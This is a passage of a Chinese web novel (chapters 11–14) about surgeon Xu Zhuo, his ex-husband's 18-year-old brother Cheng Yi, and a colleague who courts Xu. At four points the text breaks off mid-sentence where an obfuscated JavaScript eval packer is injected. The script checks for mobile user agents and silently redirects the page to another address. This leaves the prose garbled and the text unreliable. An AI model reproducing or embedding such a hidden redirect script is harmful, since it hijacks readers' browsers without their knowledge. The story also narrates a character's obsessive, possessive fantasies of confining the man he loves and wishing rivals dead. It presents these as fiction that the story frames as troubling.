许酌有些惊讶,“小弋这么厉害啊,居然还会做菜。” 丞弋谦虚,“我也是今天刚学的,许酌哥快尝尝喜不喜欢。” 丞弋送来的饭很简单,一份米饭,一份葱香鸡腿肉,一份清炒包心菜。 米饭上盖着一个形状漂亮、色泽鲜艳的荷包蛋。 旁边的小碗里还装着一份海带豆腐汤。 是一份只看卖相就充满营养的午饭。 许酌拿起筷子,夹了块鸡腿肉送进口中。 这时,丞弋就紧张又期待地直直盯着他。 等着他的回馈。 许酌细细咀嚼两下,眼底微亮,“嗯,味道很好哎。” 不是故意夸张,是真心实意的。 鸡腿肉的肉质滑嫩可口,一口咬下去满是焦焦的葱香味。 是许酌喜欢的味道。 丞弋松了一口气,嘴角的笑意因为许酌的喜欢又上扬两分,“许酌哥喜欢就好。” 许酌看着他脸上因为称赞而愉快起来的笑,安静两秒还是说,“小弋,今天就算了,但之后你不要特意给我做饭送过来了,这样会耽误你的时间。” 高三的时间是非常宝贵的,每一分每一秒都至关重要。 许酌不能眼睁睁看着丞弋把时间浪费在这种无关紧要的事情上。 丞弋立即说,“不耽误的许酌哥!这些都是在我学习结束后做的!” 话音落下不等许酌继续说什么,他又低下头,“而且,许酌哥收留了我,我就很想为许酌哥多做点什么,不然我心里会不踏实的。” 这话一出,许酌显而易见愣了一下。 他本以为丞弋给他送饭只是他在表达幼稚喜欢的一种方式。 原来是在感谢他对他的收留么? 但其实。 他让丞弋住过来并不是一种短暂的‘收留’。 如果丞弋愿意,那他想住多久都是可以的。 而且,他也不需要丞弋一个孩子为他做什么。 但这些话到了嘴边,还是又被他尽数咽了下去。 丞弋之所以会有这种想法,估计也是家庭氛围和成长经历造成的敏感性格导致的。 而这种敏感,并不是他三两句话就能化解开的。 许酌能做的,或许就是由着丞弋用自己的方式去缓解这种谨慎感。 想明白这一点,许酌的目光柔和下来,“那之后上学就不能再送了,而且也不能因为给我送饭耽误你自己的学习,知道么?” 丞弋笑:“知道了!那我以后只在周六周日来给许酌哥送饭!” 许酌拿他没办法,只能答应,“好,那就辛苦小弋了。” 丞弋黏在许酌脸上的眼睛笑意灼热,“不辛苦,我喜欢给许酌哥做饭。” 许酌多看了他一眼,问他,“那你吃过了么?” 丞弋说,“我吃过了,许酌哥你快吃吧,不然等下凉了。” 许酌就没再说什么了,毕竟他是真的饿了。 他吃饭的间隙,丞弋就单手托腮,眼睛直勾勾盯着许酌看。 许酌哥吃饭的动作好文静,像猫一样。 粉红的嘴巴张得小小的,雪白的腮塞得鼓鼓的......那里面,现在装的都是他做的饭菜。 许酌哥在用那张嘴吃他做的饭菜。 他的饭菜在填饱许酌哥的嘴巴、肚子。 以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207394|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许酌哥的这张嘴也会被他的东西塞满。 只是......许酌哥的嘴巴有点小,应该不能完全含住他。 说不定还会口水直流...... 可是那样的话,他会兴奋得更加膨胀怎么办....... “许医生?”有陌生声音从身后响起。 丞弋被这阵声音打破了激爽的画面,蹙眉回头,看到一个长得人模狗样的医生。 他不耐烦,掩在长睫下的眼底瞬间阴翳起来。 许酌倒是声音温和:“余主任?你这么早来吃午饭啊。” 余凯睿笑得端正有礼,“嗯,等下要上手术。” 又问,“我可以坐这里么?” 许酌点头,“可以,请坐。” 余凯睿坐下时看了眼丞弋,问许酌,“这位是......” 许酌解释,“哦,这是我弟。” 又跟丞弋介绍,“小弋,这是外科余主任。” 丞弋听话问好,“余主任好。” 余凯睿敏锐地觉得这位弟弟问好的声音里有着非常浓重的敌意。 但他神色又格外乖巧,余凯睿就怀疑自己感觉错了,抿唇回了声你好,随即就把目光重新移到许酌身上,“许医生,昨天不好意思啊。” 许酌有些没明白他的意思,“余主任这是......?” 余凯睿解释,“昨天我下最后一台下手术已经很晚了,没看手机直接回办公室休息了,刚醒来才看到你给我发过来的好友申请,很抱歉没能及时添加你的微信。” 丞弋垂在桌子下的手蓦地攥紧,手背上凸起的青筋犹如盘踞的毒蛇。 许酌哥添加别的男人的微信了。 为什么要加? 为什么为什么为什么! 许酌哥为什么这么不乖! 为什么这些狗男人都来惦记他的许酌哥! 为什么这些惦记许酌哥的狗男人不能跟丞敛一起去死啊! 他真的要疯了! 许酌却在这个时候淡声一笑,“余主任太客气了,没事的。” 余凯睿松了一口气,然后问,“那我现在可以通过么?” 许酌点头,“当然可以。” 余凯睿扬起唇角,拿出手机通过许酌发过来的微信申请。 又在跳出来的对话框打下一段字:[很高兴认识你。] 许酌拿出手机看到,礼貌回了个表情包。 余凯睿看到,笑意明显,但没继续回了,而是抬眼,“那我现在先不打扰许医生了,许医生慢慢吃。” 许酌客气说着场面话,“不打扰的,余主任没事的话一起好了。” 余凯睿看着他,“下次吧,下次再和许医生一起。” 许酌也没坚持,扬唇浅笑,“那余主任慢走。” 等余凯睿走之后,许酌才慢慢松了一口气。 他果然还是不习惯应付这种类似相亲的场面。 结果刚松完,就听面前的丞弋问,“许酌哥,你为什么要加他的微信?” 他的语气算不上质问,但缓慢的语速还是仿若在空气中无声爬行的蛇。 蛇紧紧盯着他的猎物,不给他一丝跑向别人的可能。 许酌没察觉到空气中弥漫的危险,只是轻叹着说,“老师给我介绍的相亲对象,我拒绝不了,只能去加一下。” 丞弋看着他,“为什么拒绝不了?许酌哥可以说有喜欢的人了,也可以说你已经有男朋友了。” 许酌被他幼稚的想法惹笑,“小朋友,成年人的拒绝哪有这么简单,再说了,整个医院都知道我刚跟你哥离婚,这么短的时间我去哪喜欢别人,又去哪找男朋友呢?” 丞弋看着他。 良久,他慢慢伸出手,掌心覆盖在许酌温软的手背上。 他抓得很紧,却不至于弄疼许酌。 “许酌哥,”他开口,声线认真又坚定,“我现在就可以做你男朋友。” 哪怕许酌哥现在并不喜欢他,他也不介意。 他只要许酌哥只属于他。 只属于他一个人。 11. 第 11 章 11 少年直直看过来的眼眸黑漆漆的,带着一片强烈的侵略性。 许酌被这道视线注视着,心口没来由颤了一下。 同时,他又忍不住迟疑起来。 他是不是过于小看丞弋那所谓的喜欢了? 这孩子对他的喜欢......好像并不只是出于对年长哥哥的依赖。 而是.......真的喜欢。 因为他眼底那浓烈到不容忽视的占有欲,几乎要顺着空气蔓延到他身上了。 这种喜欢对不对暂且不论。 许酌先回神挣开丞弋的手,“你个小孩子凑什么热闹。” 丞弋却再次抓住他,“许酌哥,你忘了么?我已经过完十八岁生日了,你还给我送了生日礼物。” “所以,我不是小孩子,我现在是个被未成年保护法排除在外的成年人。” 许酌看着他,“好,就算你是成年人了,但是小弋,两个人在一起的前提是要互相喜欢。” 明朗的阳光下,少年毫不犹豫,“那我多喜欢许酌哥一点,弥补上许酌哥不喜欢我的那份,这样就算互相喜欢了。” 许酌简直不能理解少年人的脑回路,他笑了下,透着无奈,“这位小朋友,互相喜欢不是你这样算的。” 他要继续挣开丞弋的手。 但丞弋抓得很紧,他没能挣开,干脆放弃。 然后耐心说,“而且啊小弋,两个人在一起一定是因为情到深处才可以,而不是为了应付什么其它事情被迫绑在一起,那对你不公平。” 丞弋目光坚毅,“我不要公平,我只要你,许酌哥。” 少年执着的喜欢有些用力过猛。 不讲道理地横冲直撞过来,许酌心口的跳动都乱了节奏。 而他沉默的间隙,丞弋也发觉自己的进攻有些急切了,回退半步,弱下声线,“不然......只是假装是男朋友可以么?” 他收起了攻势,许酌也得以松了一口气,“当然不可以,小弋,你是我弟弟,我怎么能利用你来给我自己图便利。” 丞弋说,“可以的许酌哥。” 他眸色乌黑,“许酌哥可以随便利用我。” 而且许酌哥,那不是利用。 是奖励。 许是正午的阳光过于热烈了,许酌觉得丞弋看过来的目光比刚才更加烫人了。 他罕见地有些招架不住,垂眸眨了会眼。 再重新抬起时,许酌说,“小弋,感情不是这样的,喜欢一个人也不是这样的,你不能因为喜欢别人丢了你自己。” 丞弋不说话,但藏在眼底最深处的喜欢却几乎要烧起来了。 他的许酌哥真的太温柔了。 这个时候居然还在为阴暗的他着想。 所以许酌哥到底知不知道,他这个样子真的很迷人。 也很想让人把他抓进怀里从头到脚都亲一遍。 亲到他哭喘着说,小弋,喜欢一个人不是这样的。 然后他就会舔去许酌哥的眼泪告诉他,许酌哥,我的喜欢就是这样的。 就是这么......阴暗、又可怕的。 “小弋?”见丞弋一直不说话,许酌喊他,“你有在听我说话么?” 丞弋眨眼回神,垂眸,复又抬眼,“我知道了,许酌哥。” 见他把自己的话乖乖听进去了,也没再执着于假扮男朋友的话题,许酌这才放下心,“知道了以后就不可以说这样的话了。” 丞弋笑,“好,我记住了。” 这个小插曲结束,许酌继续吃饭。 吃完饭,许酌准备把碗筷拿到洗碗池洗一下。 丞弋没让,直接收进了袋子里。 许酌顿时有些好笑,玩笑似的说,“小弋同学,你不会准备让我做个四体不勤的人吧。” 丞弋还真嗯了一声,“许酌哥的手很珍贵,不能做这些,这些小事情都由我来做就好。” 许酌弯眼笑,“我们小弋真是个大暖男,以后谁做你女朋友一定会很幸福的。” 丞弋收起碗,看了许酌一眼,奇怪问,“许酌哥,你真的是个二十八岁的大人么?” 许酌感受到了质疑,明眸笑了下,“怎么?你怀疑你哥看人的眼光?” 没接这句话。 丞弋只是学着许酌经常摸他头发的动作,抬手摸了摸许酌的头发,“因为许酌哥现在很幼稚。” 居然会天真的以为他的喜欢是可以凭借他的三言两语而转移的。 许酌大概懂他的意思,他没解释这是一种潜移默化的引导手段,只是轻轻拨开他的手,“不可以没大没小。” 丞弋笑。 他的许酌哥真可爱。 许酌又说,“走吧,哥哥请你喝楼下很好喝的奶茶,算是谢谢你给我送饭了。” 丞弋不喜欢喝奶茶,也不喜欢许酌哥这样谢他。 但他不会拒绝许酌哥。 丞弋笑起来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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丞弋看着他,嗯了声说,“许酌哥不要喜欢他,他没我年轻。” 许酌正色,“小弋,不可以这样子做比较,没有礼貌。” 丞弋认错很快,“我错了许酌哥。” 许酌嗯了一声,想说‘乖’。 还没开口,就见丞弋又抬头,目光坚定,“但我还是觉得十八岁的我跟许酌哥更配。” 许酌:。 12. 第 12 章 12 丞弋走后,许酌回了办公室。 到了办公室没看到周黎安,他把咖啡放到周黎安办公桌上。 然后回到自己的座位拿出手机给他发微信:[师兄,咖啡放你桌上了] 周黎安很快回他:[好,我等下来拿] 周黎安:[谢谢师弟] 许酌回了个万能表情包。 回完刚准备收起手机,聊天列表忽然又跳出一个消息。 是余凯睿发过来的:[许医生,我想请问下我以后可以在微信上找你聊天么?] 看完这个消息,许酌默默叹了口。 许酌本就是个不太会擅长拒绝别人的人。 更何况余主任还是崔老师的亲戚。 但为了不浪费余凯睿的时间,许酌觉得他还是有必要把话讲清楚一点。 毕竟每个人的时间都很宝贵。 许酌:[余主任,我刚离婚不久,暂时不太考虑开始新的感情。] 余凯睿:[许医生误会了,我没有现在就跟你要什么回应,我只是想先跟你从朋友做起。] 余凯睿:[许医生,你至少给我一个做朋友的机会吧。] 余凯睿的话都说到这个份上了,而且很有分寸。 许酌再一味的拒绝确实有些不给面子了。 犹豫片刻,许酌只好回:[知道了,那余主任之后有事就微信联系我吧。] 余凯睿:[谢谢许医生。愉快.jpg] 许酌又回了个万能表情包过去。 他的表情包是猫猫眨眼的动作。 余凯睿大概是为了附和他,也给他回了一个猫猫歪头的表情包。 这个表情包有些可爱,不太符合余凯睿成熟沉稳的气质。 许酌猜他大概是现找的,笑了笑没再回。 不一会,周黎安回来了。 许酌从电脑里抬起头,提醒他,“师兄,咖啡。” 见他脸色不好,又问他,“师兄你怎么了?” 周黎安轻摇摇头,“没事,领了一份检讨而已。” 他这么一说,许酌就明白过来了。 医院各科室抢病人是很常见的事,毕竟每一台手术都是和绩效挂钩的。 有些科室为了抢病人甚至脸都不要了。 心外科分了两个组,各组绩效也是分开算的。 昨天周黎安值夜班,他完全有机会直接给他的老师......也就是副主任赵恒打电话,通知赵副主任过来做手术。 但他没有。 他还是第一时间联系了许酌。 这就等于周黎安把到了嘴边的绩效拒之门外。 赵主任不爽也是应该的。 许酌表示,“师兄辛苦了。” 周黎安笑,“这有什么的,师弟都没抢过我的病人,我更不可能去抢你的。” 不想继续这个话题,周黎安转移话题问,“丞敛他弟走了?” 许酌无奈笑,“师兄,他的名字叫丞弋。” 周黎安改口,“好好好,那丞弋走了?” 许酌这才嗯,“走了。” 周黎安点点头,喝了口咖啡。 气温还不算暖,但周黎安还是习惯性喝冰美式。 一口凉爽的咖啡液灌下肚子,周黎安因为被老师教育而堵在心口的气瞬间就舒畅了很多。 但刚才被丞弋看过那一眼的不爽却没有缓解半分。 以至于他犹豫半晌,最后还是忍不住开口去喊许酌,“师弟,你真不觉得那个丞弋看人的眼神很奇怪么?” 许酌没有反驳,只问,“是刚才小弋对师兄不礼貌了么?有的话我先代他跟你说声抱歉。” 眼见许酌真的要起身跟他致歉,周黎安赶紧走过去按住他,“行了你,我觉得他奇怪你跟我道什么歉,他又不是你亲弟弟。” 许酌说,“我把他当亲弟弟的,而且,小弋真的是个很乖的孩子。” 除了偶尔会叛逆之外。 周黎安可不觉得丞弋是个乖孩子。 但面对许酌的偏心的袒护,他还是什么话都说不出口了。 安静了几秒,最后只叹气,“行吧,你说乖就乖吧。” ...... 天气回暖,急诊和胸痛中心这两天转过来的年长患者明显减少了很多。 但心外科还是没有因此而空闲下来。 毕竟云大附属医院的心外科是远近闻名的,少了急诊和胸痛中心的患者,每天还有很多从外院转过来、以及慕名而来的患者。 许酌连轴转了一个星期,做了近二十台手术。 周六这天终于没有手术了,又刚好轮到他值夜班。 因为岑嘉祯最近都归许酌管,所以他的夜班刚好也跟许酌排在了一起。 夜班刚开始,许酌就见岑嘉祯已经开始拜夜班之神了。 他一脸虔诚,面前电脑的左右两边还摆放着贡品。 左百事可乐。 右冰美式。 许酌看了看时间,才不到十一点,“现在拜是不是有点早啊?” 岑嘉祯说,“不早的,今天我一个小时一拜。” 岑嘉祯周三那天也是跟许酌一起值的夜班。 本来那天是不算忙的。 只因为岑嘉祯在早上七点三十五说了句:“ 还行,今天这个夜班挺轻松的。” 然后七点四十八急诊就从紧急转来一个从工地上摔下的病人。 那病人摔下来时被尖锐物刺到了心脏位置,需要立即做手术。 于是,本该在八点准时下夜班的他们,只能紧急进了手术室。 一进就是五个小时。 岑嘉祯恨那天多嘴的自己。 所以今天他学乖了,什么都不说,只安心拜神。 许酌嗯了声,语气逗弄,“那你好好拜,今天能不能平安度过就靠你够不够诚心了。” 岑嘉祯顿觉压力山大,拜得更加虔诚了。 他今天绝不能再害许老师加班!! 夜班时间还长着,许酌准备放平椅子小憩一会。 然而还不等他动作,口袋里的手机就响了。 他拿出手机接起,电话那边立即传来一道疾速的女声,“许医生您好,我是神外,我们这边送来一位急诊病患,车上的随行心电图报告显示病患下壁T波异常,需要您过来评估下能不能进行手术......我已经在线上发过平会诊了。” 许酌应,“知道了,我现在过来。” 等许酌挂完电话,岑嘉祯顿时紧张,“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207396|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事啊许老师?” 许酌温声笑,“别紧张,是神外要评估手术,走吧。” 到神外时,余凯睿正好在跟掩面垂泪的病人家属沟通。 看到许酌过来,他点头跟他打招呼。 两人这一个星期熟络了不少。 当然不是靠在微信上发消息聊熟的,而是余凯睿时不时都会到心外办公室找许酌一起吃饭。 许酌对在食堂这种地方吃饭是不抗拒的。 而且余凯睿在饭间大多都在跟他聊一些医院的趣事,不会去问一些过于私人的话题。 这一点让许酌觉得很舒服。 于是一来二去,两个人也算从一种不熟的状态自然过渡成朋友了。 现在见余凯睿跟他点头打招呼,许酌也淡笑着回应。 随即就去检查病人了。 急诊送来的这位病人很年轻,才三十七岁。 半夜昏厥,送到医院经医生检查确诊脑出血,需要开颅清除血肿。 这两年脑出血出现在年轻人少身上的现象已经不算少数了。 许酌见怪不怪,拿出听诊器给病人听心跳。 听诊器里传来的心音没有问题,许酌收了听诊器问对方接诊医生,“病人心脏没有问题,t波异常有多重原因.......血液报告没出么?” 正说着,一位护士拿着一堆报告快跑过来,“赵医生,病人报告出来了。” 赵医生接过血液报告一看,说,“病患血液中的钾离子浓度有些低。” 许酌说,“低钾的话确实会导致t波异常,也会导致麻醉出意外,做手术的话需要先补钾。” 赵医生点头,“知道了,辛苦许医生跑一趟了。” 许酌摇摇头,“没事,那你们忙,我们先回去了。” 许酌带岑嘉祯回办公室,让他写会诊意见。 岑嘉祯顿时如临大敌,打开电脑战战兢兢地敲会诊意见。 见状,许酌抿唇笑了一下,“你来心外科也有半个多月了,还不会写会诊意见啊。” 岑嘉祯还没开口回答,办公室的门就被敲响了。 许酌侧头去看,看到站在门口的余凯睿。 许酌起身,“余主任?你怎么过来了?” 余凯睿走进来,“值夜班辛苦,我来给你们送些吃的过来。” 许酌连连摆手,“余主任不用这么麻烦的,我们这里有很多零食。” 余凯睿说:“只吃零食怎么行,我在楼下买了瘦肉丸和水饺,许医生等下饿了用微波炉叮一下就好了,很方便的。” 买都买来了,许酌再拒绝也不合适了,只好双手接过,“那就谢谢余主任了,但余主任下次还是不要这么破费了。” 余凯睿没接这句话,只说,“那你们忙,我先回去了,等下还要手术。” 许酌送余凯睿走出办公室,“余主任辛苦。” 等走出办公室,余凯睿抿了抿唇还是说,“许医生你也别太辛苦了,之后再有科室因为心率问题让你去会诊,你直接让规培生去就可以了,你不用每次都亲自跑的。” 许酌浅声一笑,张口准备说什么时,就听身后传来声音,“许酌哥。” 许酌循声转过头。 看见不远处站着一抹熟悉的身影。 13. 第 13 章 13 走廊冷色的灯光下,丞弋穿着蓝白校服,身姿笔挺。 本该是青春洋溢的模样。 可他一张精致的脸上却布满了冷冽的低气压。 许酌惊了一下,“小弋?你怎么这个时间过来了?” 听见这个名字,办公室的岑嘉祯立即蹙起眉头,抬头偷偷望向门口。 但什么都望不到。 他只好竖起耳朵偷听。 门外。 丞弋一步步走过来。 边走,他边用冷厉的目光去打量余凯睿。 那道目光里的敌意过于浓重了,让余凯睿非常不舒服。 然而还没等他表现出什么不适的神色,丞弋就已经站定到许酌身边问他,“许酌哥,你们在谈恋爱么?” 闻言,上一秒还略感不适的余凯睿立即转移目光去看许酌,沉稳的眼底带着点不符合他这个年纪的羞涩。 丞弋却根本没看他,只目光直直盯着许酌。 在等他否认。 因为两人一个忙着上学,一个忙着上班。 所以许酌这一个星期并没怎么见过丞弋。 两人仅有的一些接触也大多都在微信上。 或是家里不管他出门多早或回家多晚都如约出现在餐桌上的早餐和夜宵。 许酌不知道丞弋是怎么做到可以在兼顾学习的同时仍坚持给他准备这些的。 但不得不说的是,许酌居然有些习惯了。 习惯到每天早起下班走到客厅的第一件事就是往餐桌去看。 大概也是因为吃人嘴软的原因,以至于许酌在丞弋的注视下居然有些莫名心虚。 “不可以乱说,余主任只是......过来送夜宵的。”许酌本想随口找个其它说辞来哄丞弋,但开口的瞬间还是选择了实话实说。 一是他不是个擅长说谎的人。 二是他觉得跟一个孩子说谎会让他学坏。 听许酌否认,余凯睿脸上的羞涩消失,转而替换上来的是一阵落寞。 丞弋的脸色却没有因为许酌的否认而有所缓和。 反而冷到了极点。 送夜宵...... 他转头,黑沉的眸光死死落在余凯睿身上,“谢谢余主任给我家许酌哥送夜宵,但以后还是不麻烦了,许酌哥的夜宵我会在家做好送过来的。” 余凯睿第一次见丞弋时并没反应过来他是许酌前夫的弟弟。 是后来想到两人的姓氏这一点才反应过来。 大概是同性相斥的原理,所以余凯睿本能不喜欢丞敛。 也不喜欢这个和丞敛有关系的弟弟。 此时见这位弟弟用一种仿佛看垃圾一样的目光看着自己,他顿时更不喜欢了。 但碍于许酌在,他不好真的发作什么,只是保持着成年人的风度和礼貌,“据我所知,许医生已经和你哥离婚了,所以不存在‘你家许酌哥’这个说法,你也不需要谢我。” 说完,他的目光直直略过丞弋,去看许酌,“许医生,那你们聊,我先走了。” 许酌点头,“嗯,余主任手术顺利。” 丞弋看着余凯睿离开的方向。 他脸色沉得吓人,周身的气压也降到了冰点。 一双幽黑的眸子里更是泛着一阵渗人的冷意。 仿若随时准备亮出尖牙的毒蛇。 直到余凯睿的身影彻底消失在走廊尽头,许酌这才收回目光去看丞弋。 而他转过来的一瞬间,丞弋阴冷眼底的凌厉攻势也自动收敛了起来。 唯剩下一片安静的幽深。 “你怎么现在过来了?”许酌开口问他,嗓音柔和。 “许酌哥。”丞弋开口,但不回答他的话,“你们现在已经熟到可以送夜宵的地步了么?” 少年问话的声音里带着些微不可察的难过,一双幽深的黑眸也逐渐泛起湿红。 许酌顿时有些于心不忍。 也不知道该怎么回答丞弋这个问题。 于是他索性没答,还是问丞弋,“小弋,你先跟我说一下现在几点了。” 丞弋眸底瞬间阴翳起来,“许酌哥,你先回答我。” 许酌目光温柔,“所以现在几点了?” 沉默蔓延了两秒。 最后丞弋还是低头看了眼腕间的手表,然后抬眼回答,“十一点十五。” 许酌点头:“嗯,晚上十一点十五分,所以我请问这位刚结束晚自习的高三学生,这个时间你应该出现在医院里么?” 丞弋走近许酌一步,黑色的眸子里倒映着因为他的靠近而微微仰起脖颈的许酌。 许酌的肤色很白。 莹白的脖颈因为白色大褂的衬托就真的好似一片白雪。 此时那片白雪映在丞弋眼中,反而成了一簇火苗。 丞弋被火苗炙烤着,血液都沸腾了起来。 他现在,很想把许酌哥带走,带回家。 带回家关起来。 他也跟着许酌哥一起关起来。 这样,以后就只有他一个人能看到许酌哥雪白的脖颈,可爱的脸,漂亮的眼睛......所有的所有。 许酌哥的所有他都不想给别人看。 许酌哥要是很喜欢做手术,那就直接在他身上开刀好了。 把他的心脏挖出来好了。 怎么都好。 反正他就是不想让那些贪恋许酌哥的人再看到他。 一眼都不行! 可不行......那样许酌哥会讨厌他的。 所有人都可以讨厌他,所有人都可以不喜欢他。 许酌哥不行。 许酌哥要喜欢他,要最喜欢他。 “我.......”所有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15207397|165798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被烧到扭曲的想法尽数被丞弋压下,也把他的眼眶烧得更红,“我太想许酌哥了,所以想来见见许酌哥。” 他抬手,掌心克制着贴在许酌的脖颈上,拇指轻轻摩挲着他的侧脸,“许酌哥不要生我的气,好不好?” 少年直白的想念如窗外无边的夜风。 不剧烈,但刚好能感受到。 许酌莫名觉得脸热。 特别是被丞弋拇指抚摸过的位置。 不等热意持续散发,许酌就温和地拨开他的手。 “我没生气。”他后退一步,“我只是觉得你上学已经够辛苦了,有这个时间不如在家多睡会觉。” 掌心没了温软的触感,丞弋有些不满,却没敢表现出来,只是一言不发地垂着头。 但很快,他又抬头。 冷白色调的灯光下,少年脸上的阴冷不复存在,替换而来的是满脸的乖巧笑意,“知道了许酌哥,我现在就回去睡觉。” 他拉过许酌的手,将手里的保温袋放在许酌手里,“这些夜宵给许酌哥,许酌哥想吃就吃,不想吃丢掉也可以。” 说完话,丞弋克制着松手,“那我走了,许酌哥再见。” 许酌手上一沉的同时,心口也因为丞弋转过身的背影而沉涩了一下。 他想张口喊住人。 这时,办公室响起座机电话的响声。 办公室里的岑嘉祯接起电话。 许酌走到办公室门口去看岑嘉祯。 岑嘉祯跟电话应了两声好,然后迅速挂掉电话抬头,“老师!监护室7床突发室颤!” 许酌顾不上丞弋,把保温袋迅速还给丞弋,“小弋你先帮我把这个放我桌上!我现在要去给病人做抢救!你快回家别乱跑!到家给我发消息!小岑!” “来了!”岑嘉祯从办公室里疾跑出来。 不过片刻,两人的身影就在走廊尽头消失了。 丞弋在门口站了片刻,最后还是拎着保温袋走进办公室。 刚走进去,他就看到许酌的办公桌上放着两袋劣质的透明塑料袋。 袋子里装着毫无营养的预制品和炸串。 如果这就是那个老男人追求人的手段,丞弋只能默默在心里祝他赶紧去死。 而不是拿这些没有任何营养物质的东西来谋害他的许酌哥。 丞弋走过去把他的保温袋放在许酌办公桌的正中间。 然后拎走那袋劣质品。 走出心外大楼,丞弋路过一个垃圾桶。 没有任何犹豫,他直接把那两袋东西丢进垃圾桶里。 昏暗的夜色里,丞弋居高临下看着和垃圾融为一体的白色塑料袋,眼底阴冷无比。 垃圾就该在垃圾桶里待着。 那个老男人就该跟着丞敛一起去死。 谁都不可以跟他抢许酌哥。 谁都不可以。 14. 第 14 章 14 紧急抢救完病人,许酌带着岑嘉祯回到办公室。 岑嘉祯还在就刚才突发室颤的病人向许酌提问题。 许酌一边耐心回答他,一边往自己的办公桌走。 走到跟前,他发现余凯睿送过来的夜宵没有了。 但有一张黄色的标签纸。 许酌拿起便签纸,上面用黑色笔写着一行字。 ——许酌哥,这份夜宵我拿走了。 没有说为什么拿走。 也没说拿走是不是吃。 但许酌猜,那份夜宵最后肯定不会进丞弋的肚子。 因为只从力透纸背的字迹来看,他就能想象到丞弋当时的情绪有多糟糕。 许酌叹了口气。 岑嘉祯记笔记的手一顿,抬眼,“怎么了老师?是我问题太多了么?” 许酌摇摇头,“没有,就是突然有些共情那些家里有叛逆少年的家长了。” 岑嘉祯没说话。 但安静了没几秒,他还是忍不住凑到许酌身边问,“那个......许老师,我可以问你个私人问题么?” 许酌看他,“什么?” 岑嘉祯用下巴指了指保温袋,“就是这个,老师你跟这个弟弟在交往么?” 许酌:? 许酌好笑,“你这问的什么啊,小弋是我弟弟。” 岑嘉祯撇着,“可我怎么觉得......” 后面的话没有说完。 但许酌还是从他欲言又止的神色里看懂了他的言下之意。 许酌不讶然岑嘉祯只通过短短三次的见面就能看出丞弋的小心思。 毕竟这孩子根本装都没装一下。 他只是淡声解释,“你想多了,小弋只是因为家庭条件比较复杂所以有些缺乏安全感,加上我之前对他又比较好,所以对我比较依赖而已。” 岑嘉祯心想那死绿茶可不是比较依赖。 那简直就是狼子野心! 不过岑嘉祯并没把这个想法说出来,只是点了点头又问,“所以......老师是会比较喜欢年纪小的,还是年纪大的?” 问话时,他眼底闪着一片痴迷的羞涩。 这阵羞涩许酌并不陌生,反而有些习以为常。 但在他眼里,岑嘉祯和丞弋一样,都是小孩子。 小孩子的喜欢很简单,但通常不会持久。 所以他并不打算干涉,只是温声反问岑嘉祯,“让你下的医嘱下好了?” 岑嘉祯泄气,“.......这就去下。” 等岑嘉祯老老实实回到他自己的座位上,许酌这才去看丞弋送过来的保温袋。 盯着看了几秒,他抬手打开。 保温袋里面装着一个他没见过的饭盒。 饭盒的颜色是绿色的,就衬得旁边的苹果很鲜红。 把这两样东西拿出来,里面还有一个拇指长的小玻璃瓶。 许酌拿出来看了眼,瓶子里装着白色颗粒状的东西。 应该是盐。 医院是最崇尚科学的地方,同时也是最注重玄学的地方。 就比如,岑嘉祯犯了忌讳后就很尊重忌讳。 再比如,值夜班不能穿红色。 红色代表红火,也代表忙。 绿色相反,是清淡、清闲的意思。 苹果是平安。 盐是咸,也就是闲。 因此,丞弋看似是来送夜宵,实则是想让许酌度过一个轻松的夜班。 许酌有些想笑,但想到什么,就没能笑出来。 和上次那种带着生气情绪的离开不一样。 丞弋刚才转身准备离开的背影自卑又受伤,仿佛一只讨不到主人的开心、却又只能眼睁睁看着主人被别人取悦的大狗。 许酌不是丞家人,自然不会冷心薄情到对丞弋的这种状态冷眼旁观。 他很清楚,丞弋正在因为喜欢他而感到受伤。 而且,结合上一次丞弋宁愿丢弃自己也要假装是他男朋友的执着。 以及这一次的受伤。 许酌突然觉得他好像不能再对丞弋的感情持置之不理的态度了。 丞弋这孩子.......有些偏执。 许酌并不担心这份偏执会伤害到他。 而是担心会伤害到丞弋自己。 所以,他决定找个机会和丞弋好好谈谈。 正想着,口袋里的手机忽然响了一声。 许酌拿出手机,看见丞弋给他发过来的微信。 [许酌哥,我到家了。] [图片] 许酌点开图片,是丞弋换好蓝色拖鞋的照片。 明明已经给丞弋卖过新拖鞋了,可丞弋还是执着穿那双他穿过的拖鞋。 所以说,这孩子真的很偏执。 许酌有些懊悔之前怎么没有发现。 手机又响一下。 